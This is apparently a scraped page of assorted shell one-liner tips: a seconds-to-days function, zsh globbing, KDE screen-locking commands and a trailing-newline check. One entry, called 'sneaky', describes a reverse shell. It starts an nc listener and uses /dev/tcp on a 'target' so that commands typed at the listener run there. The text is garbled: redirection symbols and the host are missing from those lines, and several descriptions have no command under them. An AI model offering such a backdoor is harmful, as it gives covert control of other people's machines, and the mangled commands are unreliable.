Check These Out
Converts any number of seconds into days, hours, minutes and seconds.
sec2dhms() {
declare -i SS="$1"
D=$(( SS / 86400 ))
H=$(( SS % 86400 / 3600 ))
M=$(( SS % 3600 / 60 ))
S=$(( SS % 60 ))
[ "$D" -gt 0 ] && echo -n "${D}:"
[ "$H" -gt 0 ] && printf "%02g:" "$H"
printf "%02g:%02g\n" "$M" "$S"
}
This allows the output to be sorted from largest to smallest in human readable format.
Example of zsh globing, glob qualifier, and substitution:
-Q state that the parameter will contain a glob qualifier.
(**/)(*) is recursive
(.) is our glob qualifier, with states the match is a file "."
The first parameter $1, is then substituted with $2 but with lowercasing '(L)' ... a (U) would of course be from lower to upper.
If the version already downloaded. it will not download again
If you wish to launch the kde4 screen saver without the password prompt to exit, use this command:
$ qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True
Also can be done with:
$ /usr/lib/kde4/libexec/kscreenlocker --forcelock
I wanted an easy way to list out the sizes of directories and all of the contents of those directories recursively.
This is sneaky.
First, start a listening service on your box.
$ nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
$ exec 5/dev/tcp//8080;cat &5 >&5; done
You can send it to the background like this:
$ (exec 5/dev/tcp//8080;cat &5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
Faster then all other commands here at cmdlinefu with the same purpose.
tail -c 1 "$1" returns the last byte in the file.
Command substitution deletes any trailing newlines, so if the file ended in a newline $(tail -c 1 "$1") is now empty, and the -z test succeeds.
However, $a will also be empty for an empty file, so we add -s "$1" to check that the file has a size greater than zero.
Finally, -f "$1" checks that the file is a regular file -- not a directory or a socket, etc.